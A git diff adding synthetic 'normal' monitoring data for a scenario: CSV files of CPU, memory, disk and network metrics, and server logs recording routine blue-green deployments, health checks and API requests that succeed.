+2025-08-22T10:00:20Z,56.9,51.97,30.94,1.31,1.28 +2025-08-22T10:00:25Z,62.89,62.37,37.5,1.19,0.9 +2025-08-22T10:00:30Z,59.28,53.19,25.6,1.35,1.14 +2025-08-22T10:00:35Z,47.54,55.35,38.4,1.37,1.05 +2025-08-22T10:00:40Z,49.19,53.47,28.67,1.41,0.8 +2025-08-22T10:00:45Z,59.36,53.53,33.11,1.23,0.86 +2025-08-22T10:00:50Z,62.64,66.79,35.51,1.43,0.82 +2025-08-22T10:00:55Z,47.1,56.68,33.96,1.25,1.21 +2025-08-22T10:01:00Z,55.05,64.69,32.6,1.13,1.19 +2025-08-22T10:01:05Z,55.15,53.45,32.55,1.3,1.13 +2025-08-22T10:01:10Z,59.5,68.99,25.34,1.27,1.17 +2025-08-22T10:01:15Z,64.09,63.28,27.71,1.24,1.06 +2025-08-22T10:01:20Z,60.28,57.45,32.44,1.11,0.87 +2025-08-22T10:01:25Z,64.36,68.91,39.69,1.45,1.05 +2025-08-22T10:01:30Z,48.55,61.62,38.67,1.15,0.92 +2025-08-22T10:01:35Z,64.11,54.82,25.77,1.36,0.89 +2025-08-22T10:01:40Z,60.24,58.24,33.78,1.28,0.88 +2025-08-22T10:01:45Z,47.13,67.24,27.12,1.27,0.86 +2025-08-22T10:01:50Z,48.46,64.01,31.57,1.39,1.26 +2025-08-22T10:01:55Z,54.72,67.38,25.43,1.44,1.22 +2025-08-22T10:02:00Z,59.16,56.55,33.05,1.31,1.27 +2025-08-22T10:02:05Z,47.1,51.11,26.46,1.01,1.23 +2025-08-22T10:02:10Z,56.07,54.83,27.32,1.21,0.87 +2025-08-22T10:02:15Z,54.1,50.92,33.85,1.43,0.87 +2025-08-22T10:02:20Z,55.15,62.98,25.35,1.18,1.1 +2025-08-22T10:02:25Z,53.1,63.72,37.51,1.42,0.86 +2025-08-22T10:02:30Z,45.8,57.22,27.55,1.43,1.06 +2025-08-22T10:02:35Z,56.29,59.18,35.82,1.35,0.89 +2025-08-22T10:02:40Z,57.94,61.36,39.53,1.18,1.17 +2025-08-22T10:02:45Z,63.17,56.04,29.49,1.29,1.24 +2025-08-22T10:02:50Z,58.65,51.22,35.98,1.0,1.17 +2025-08-22T10:02:55Z,58.06,52.95,36.84,1.24,0.98 +2025-08-22T10:03:00Z,55.24,67.34,38.6,1.29,0.87 +2025-08-22T10:03:05Z,54.67,56.95,34.59,1.05,1.08 +2025-08-22T10:03:10Z,48.62,56.79,28.82,1.38,1.14 +2025-08-22T10:03:15Z,47.83,63.59,32.15,1.09,0.93 +2025-08-22T10:03:20Z,62.9,69.26,27.95,1.14,1.25 +2025-08-22T10:03:25Z,50.5,63.63,32.44,1.15,1.08 +2025-08-22T10:03:30Z,53.62,65.23,27.31,1.46,1.28 +2025-08-22T10:03:35Z,49.88,54.98,28.41,1.02,1.16 +2025-08-22T10:03:40Z,45.95,68.51,35.79,1.21,0.87 +2025-08-22T10:03:45Z,53.26,61.41,28.91,1.39,1.22 +2025-08-22T10:03:50Z,59.17,67.3,21.89,1.2,0.9 +2025-08-22T10:03:55Z,47.67,59.53,25.0,1.51,1.06 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+2025-08-22T10:05:40Z,52.1,70.15,28.55,1.55,0.99 +2025-08-22T10:05:45Z,46.19,71.18,28.29,1.21,1.18 +2025-08-22T10:05:50Z,54.63,72.06,29.09,1.33,1.2 +2025-08-22T10:05:55Z,50.12,67.89,28.9,1.37,1.2 +2025-08-22T10:06:00Z,42.64,67.02,24.33,1.25,1.11 +2025-08-22T10:06:05Z,49.3,74.36,23.25,1.29,1.34 +2025-08-22T10:06:10Z,52.85,71.84,29.49,1.48,1.22 +2025-08-22T10:06:15Z,51.33,64.66,24.82,1.37,1.03 +2025-08-22T10:06:20Z,45.75,64.07,27.12,1.35,0.91 +2025-08-22T10:06:25Z,56.73,57.49,33.44,1.24,1.22 +2025-08-22T10:06:30Z,51.45,58.39,32.1,1.3,1.39 +2025-08-22T10:06:35Z,46.69,72.33,20.89,1.31,1.06 +2025-08-22T10:06:40Z,59.22,71.28,27.37,1.3,1.2 +2025-08-22T10:06:45Z,49.24,63.39,32.64,1.38,0.99 +2025-08-22T10:06:50Z,46.75,63.92,20.91,1.46,1.26 +2025-08-22T10:06:55Z,57.13,59.54,31.39,1.25,1.37 +2025-08-22T10:07:00Z,48.33,57.73,32.07,1.35,0.94 +2025-08-22T10:07:05Z,40.65,55.47,27.24,1.24,1.12 +2025-08-22T10:07:10Z,43.13,64.94,30.42,1.13,1.24 +2025-08-22T10:07:15Z,59.34,71.96,34.11,1.22,0.99 +2025-08-22T10:07:20Z,47.65,63.94,34.19,1.51,0.9 +2025-08-22T10:07:25Z,51.83,71.54,24.09,1.36,1.2 diff --git a/norm_dataset/scenario_6/norm_6_20.log b/norm_dataset/scenario_6/norm_6_20.log new file mode 100644 index 0000000000000000000000000000000000000000..0af1e5c7e203e5c54fb7073846b32bdfb779fdb3 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_20.log @@ -0,0 +1,17 @@ +Aug 22 10:00:04 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:26 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:43 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:09 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:01:27 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:02:01 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:02:24 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:07 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:24 backend-blue[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:45 haproxy[4321]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:03:45 jenkins[9876]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:53 backend-green[5678]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:56 backend-blue[1234]: INFO: Service idle, no more traffic received. +Aug 22 10:05:33 backend-green[5678]: GET /api/v1/user/12 status=200 OK +Aug 22 10:05:51 backend-green[5678]: GET /api/v1/user/12 status=200 OK +Aug 22 10:06:06 backend-green[5678]: GET /api/v1/user/12 status=200 OK +Aug 22 10:06:46 backend-green[5678]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_21.csv b/norm_dataset/scenario_6/norm_6_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..5ed70dc95c069fecc688861568fa1b6a0654ccfb --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-22T10:07:20Z,62.653792872158704,68.93731429699747,38.915496733301445,2.327069382727657,1.0023845740301414 +2025-08-22T10:07:25Z,66.83178837011748,76.54340723814049,25.45589510939789,2.0236142562682162,1.5950900130124146 diff --git a/norm_dataset/scenario_6/norm_6_21.log b/norm_dataset/scenario_6/norm_6_21.log new file mode 100644 index 0000000000000000000000000000000000000000..88fd9c25782adf625bbb59b2e05ded8f9eba4378 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_21.log @@ -0,0 +1,20 @@ +Aug 22 10:00:00 jenkins[4567]: INFO: Starting new deployment #123 for application 'webapp'. +Aug 22 10:01:00 jenkins[4567]: INFO: Building application 'webapp' version v2.1.0. +Aug 22 10:02:00 jenkins[4567]: INFO: Build successful. Pushing container image to registry. +Aug 22 10:03:00 jenkins[4567]: INFO: Deploying new version to Green environment. +Aug 22 10:03:43 jenkins[4567]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:45 haproxy[80]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:04:00 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:04:15 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:04:30 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:04:45 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:05:00 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:05:15 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:05:30 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:05:45 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:06:00 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:06:15 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:06:30 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:06:45 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:07:00 webapp-green[8765]: GET /api/v1/data status=200 OK +Aug 22 10:07:15 webapp-green[8765]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_22.csv b/norm_dataset/scenario_6/norm_6_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..7d6a3503653f496ae16f9131e457c71ad47bbe23 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,1.4068661870183747,1.3583046877371285,0.13828296132899753,0.025137252513015507,0.03535400189378077 +2025-08-26T14:00:05Z,0.13481667507691075,3.1928541891196836,0.1462408667429842,0.01194294420429641,0.029264929829693302 +2025-08-26T14:00:10Z,0.8997747372220519,4.9366268215767555,0.09178332544293327,0.012458779692420761,0.03284584983390273 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/dev/null +++ b/norm_dataset/scenario_6/norm_6_22.log @@ -0,0 +1,13 @@ +Aug 26 14:00:45 jenkins[12345]: INFO: Starting build #123 for project 'webapp-backend'... +Aug 26 14:01:45 jenkins[12345]: INFO: Build #123 successful. Pushing image to registry. +Aug 26 14:02:15 spinnaker[6789]: INFO: Starting deployment pipeline for 'webapp-backend'. +Aug 26 14:02:45 spinnaker[6789]: INFO: Deploying new 'green' environment for 'webapp-backend'. +Aug 26 14:03:15 spinnaker[6789]: INFO: Health checks for 'green' environment passed. +Aug 26 14:03:35 web-app-blue[1111]: GET /api/v1/health status=200 OK +Aug 26 14:03:45 spinnaker[6789]: INFO: Production traffic switch for deployment #123 successful. +Aug 26 14:03:46 load-balancer[555]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 26 14:03:55 web-app-green[2222]: GET /api/v1/health status=200 OK +Aug 26 14:04:20 spinnaker[6789]: INFO: Starting to scale down 'blue' environment. +Aug 26 14:05:00 web-app-green[2222]: GET /api/v1/data status=200 OK +Aug 26 14:05:50 systemd[1]: Starting daily clean up activities... +Aug 26 14:06:45 spinnaker[6789]: INFO: 'blue' environment has been successfully scaled down. diff --git a/norm_dataset/scenario_6/norm_6_23.csv b/norm_dataset/scenario_6/norm_6_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..8e0a348a6e69b74299511beb0045e1b3dd0f7a70 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,2.3417590282347844,13.024985425243482,2.5987878670248867,0.0509406997850621,0.05606123213755322 +2025-08-22T10:00:05Z,4.5483392497832975,9.236192865373901,6.227473615848578,0.014157093300487061,0.08804717169665208 +2025-08-22T10:00:10Z,4.697354344687758,11.782457134773676,9.202424488137183,0.06308067759474248,0.09158152646897877 +2025-08-22T10:00:15Z,3.2014163336206667,11.238841612882101,3.6882181466344,0.08705689925840013,0.06239154548207048 +2025-08-22T10:00:20Z,2.981410071966002,8.817964102516806,3.0719173093827896,0.02241428676635185,0.022567091288451035 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+2025-08-22T10:07:05Z,54.15857270969251,57.103064555541906,44.906565522783595,1.476690319628559,1.0375614617635642 +2025-08-22T10:07:10Z,58.9155051919147,73.32578994840091,49.5334430362348,1.8591596127383667,1.325897105893465 +2025-08-22T10:07:15Z,63.5336554138938,82.23586143912236,42.18666427487726,1.600544621125706,1.672069823152837 +2025-08-22T10:07:20Z,62.582436305716506,77.70191903681996,37.64170863815723,1.5548985573453484,1.2594333581620207 +2025-08-22T10:07:25Z,61.39960890202405,65.24892294582295,44.25333361706016,0.9717919546427382,1.0939292012528485 diff --git a/norm_dataset/scenario_6/norm_6_23.log b/norm_dataset/scenario_6/norm_6_23.log new file mode 100644 index 0000000000000000000000000000000000000000..e15408c8691f2240a7ab39ce3f553926a40339bd --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_23.log @@ -0,0 +1,53 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:00:05 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:00:10 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:00:20 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:00:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:40 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:01:20 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:01:45 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:00 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:02:20 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:02:40 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:00 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:03:20 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:03:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:03:40 backend-blue[1357]: GET /api/v1/data status=200 OK +Aug 22 10:03:45 jenkins[4589]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:45 load-balancer[3321]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:04:00 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:04:20 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:04:40 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:05:00 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:05:10 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:05:20 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:05:40 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:06:00 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:20 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:06:40 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue +Aug 22 10:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 22 10:07:00 backend-green[2468]: GET /api/v1/data status=200 OK +Aug 22 10:07:20 backend-green[2468]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_24.csv b/norm_dataset/scenario_6/norm_6_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..7258fd9841f1a6709be4cbd020dc547d67c78264 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,2.68,14.35,1.19,0.02,0.07 +2025-08-22T10:00:05Z,1.55,14.13,2.65,0.05,0.05 +2025-08-22T10:00:10Z,1.74,10.31,3.46,0.03,0.09 +2025-08-22T10:00:15Z,3.0,13.84,0.37,0.09,0.05 +2025-08-22T10:00:20Z,2.03,14.22,1.47,0.03,0.03 +2025-08-22T10:00:25Z,1.22,11.29,0.5,0.02,0.05 +2025-08-22T10:00:30Z,3.4,13.97,0.47,0.07,0.01 +2025-08-22T10:00:35Z,2.11,12.28,1.81,0.04,0.07 +2025-08-22T10:00:40Z,1.24,11.68,3.63,0.03,0.05 +2025-08-22T10:00:45Z,2.1,10.79,1.22,0.09,0.04 +2025-08-22T10:00:50Z,1.49,11.98,2.21,0.06,0.05 +2025-08-22T10:00:55Z,3.85,12.8,3.98,0.03,0.04 +2025-08-22T10:01:00Z,1.65,10.12,1.34,0.04,0.06 +2025-08-22T10:01:05Z,1.55,11.97,4.25,0.03,0.01 +2025-08-22T10:01:10Z,4.84,10.91,2.47,0.05,0.08 +2025-08-22T10:01:15Z,1.82,12.93,2.77,0.02,0.01 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+2025-08-22T10:06:25Z,61.76,60.71,35.97,1.48,1.37 +2025-08-22T10:06:30Z,72.11,66.48,39.77,1.02,1.37 +2025-08-22T10:06:35Z,71.77,53.68,28.24,1.37,1.2 +2025-08-22T10:06:40Z,67.71,58.27,22.02,1.18,1.14 +2025-08-22T10:06:45Z,78.43,50.71,37.24,1.03,1.41 +2025-08-22T10:06:50Z,79.65,55.11,27.55,1.21,1.23 +2025-08-22T10:06:55Z,68.31,52.73,32.36,1.14,1.3 +2025-08-22T10:07:00Z,75.87,69.12,39.01,1.11,1.16 +2025-08-22T10:07:05Z,77.88,68.57,25.39,1.31,1.35 +2025-08-22T10:07:10Z,60.15,63.98,39.47,1.05,1.19 +2025-08-22T10:07:15Z,67.98,56.94,23.24,1.01,1.45 +2025-08-22T10:07:20Z,67.51,53.55,27.24,1.17,1.11 +2025-08-22T10:07:25Z,66.0,51.73,38.02,1.18,1.15 diff --git a/norm_dataset/scenario_6/norm_6_24.log b/norm_dataset/scenario_6/norm_6_24.log new file mode 100644 index 0000000000000000000000000000000000000000..1c195452c463e5c9b0cd03d9fcaf998cc40786f1 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_24.log @@ -0,0 +1,32 @@ +Aug 22 10:00:00 kubelet[1111]: INFO Liveness probe succeeded for pod webapp-green-pod +Aug 22 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:50 kubelet[1111]: INFO Liveness probe succeeded for pod webapp-green-pod +Aug 22 10:01:40 kubelet[1111]: INFO Liveness probe succeeded for pod webapp-green-pod +Aug 22 10:01:55 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:30 kubelet[1111]: INFO Liveness probe succeeded for pod webapp-green-pod +Aug 22 10:03:20 kubelet[1111]: INFO Liveness probe succeeded for pod webapp-green-pod +Aug 22 10:03:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:43 jenkins[5432]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:45 haproxy[2345]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:03:45 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:04:00 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:04:05 webapp-green[8888]: GET /api/v1/user/99 status=200 OK +Aug 22 10:04:20 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:04:35 webapp-green[8888]: POST /api/v1/submit status=201 CREATED +Aug 22 10:04:40 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:04:40 webapp-green[8888]: GET /api/v1/user/99 status=200 OK +Aug 22 10:05:00 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:05:15 webapp-green[8888]: GET /api/v1/user/99 status=200 OK +Aug 22 10:05:20 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:05:30 webapp-green[8888]: POST /api/v1/submit status=201 CREATED +Aug 22 10:05:40 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:05:50 webapp-green[8888]: GET /api/v1/user/99 status=200 OK +Aug 22 10:06:00 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:06:20 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:06:25 webapp-green[8888]: GET /api/v1/user/99 status=200 OK +Aug 22 10:06:25 webapp-green[8888]: POST /api/v1/submit status=201 CREATED +Aug 22 10:06:40 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:07:00 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:07:00 webapp-green[8888]: GET /api/v1/user/99 status=200 OK +Aug 22 10:07:20 webapp-green[8888]: GET /api/v1/data status=200 OK +Aug 22 10:07:20 webapp-green[8888]: POST /api/v1/submit status=201 CREATED diff --git a/norm_dataset/scenario_6/norm_6_3.csv b/norm_dataset/scenario_6/norm_6_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..8a9fcaa10dd9f383254fcd42125ce188853b4720 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T17:00:00Z,1.52,12.02,0.14,0.06,0.05 +2025-08-19T17:00:05Z,1.4,14.12,0.11,0.08,0.03 +2025-08-19T17:00:10Z,1.34,9.62,0.03,0.01,0.07 +2025-08-19T17:00:15Z,1.65,10.78,0.24,0.09,0.09 +2025-08-19T17:00:20Z,1.39,9.14,0.17,0.01,0.07 +2025-08-19T17:00:25Z,1.37,8.51,0.16,0.05,0.06 +2025-08-19T17:00:30Z,1.18,10.18,0.02,0.05,0.06 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+2025-08-19T17:07:20Z,76.97,80.29,33.66,0.92,0.67 +2025-08-19T17:07:25Z,75.1,92.29,39.74,1.25,1.13 diff --git a/norm_dataset/scenario_6/norm_6_3.log b/norm_dataset/scenario_6/norm_6_3.log new file mode 100644 index 0000000000000000000000000000000000000000..80debd278c4d086f3894bb83e98e044704a333b8 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_3.log @@ -0,0 +1,24 @@ +Aug 19 17:00:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:00:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:01:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 19 17:01:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:02:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 19 17:02:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:03:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:03:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 19 17:03:43 deployment-system[7890]: INFO: Starting production traffic switch for deployment #123. +Aug 19 17:03:45 load-balancer[6543]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 19 17:03:46 deployment-system[7890]: INFO: Production traffic switch for deployment #123 successful. +Aug 19 17:04:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:04:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 19 17:05:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:05:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:06:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 19 17:06:30 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:07:00 web-app-green[3456]: GET /api/v1/health status=200 OK +Aug 19 17:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod diff --git a/norm_dataset/scenario_6/norm_6_4.csv b/norm_dataset/scenario_6/norm_6_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..1d3460338a995818524ed7d4801b4fbde816a8fd --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,57.691910127276756,71.37561751520622,40.19797718149025,1.6575924113507663,1.2022453023414252 +2025-08-19T10:00:05Z,50.93822240956541,67.46311278195661,23.145017583781513,1.7884825982867312,1.2584238207056873 +2025-08-19T10:00:10Z,49.37009889702962,69.34490569280503,27.653286971130115,1.6573325910791685,1.1284443185406214 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--- /dev/null +++ b/norm_dataset/scenario_6/norm_6_4.log @@ -0,0 +1,92 @@ +Aug 19 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:05 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:00:10 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:00:15 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:00:20 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:00:25 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:00:30 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:00:35 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:00:40 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:00:45 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:55 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:00 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:01:05 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:10 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:15 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:01:20 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:25 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:30 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:01:35 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:45 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:01:50 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:01:55 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:00 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:02:05 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:10 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:15 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:02:20 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:25 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:35 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:40 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:45 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:02:50 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:02:55 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:03:00 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:03:05 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:03:10 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:03:15 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 19 10:03:25 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:03:30 backend-blue[1122]: GET /api/v1/user/42 status=200 OK +Aug 19 10:03:35 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:03:40 backend-blue[1122]: GET /api/v1/products status=200 OK +Aug 19 10:03:40 jenkins[4567]: INFO: Production traffic switch for deployment #123 successful. +Aug 19 10:03:45 load-balancer[8899]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 19 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green 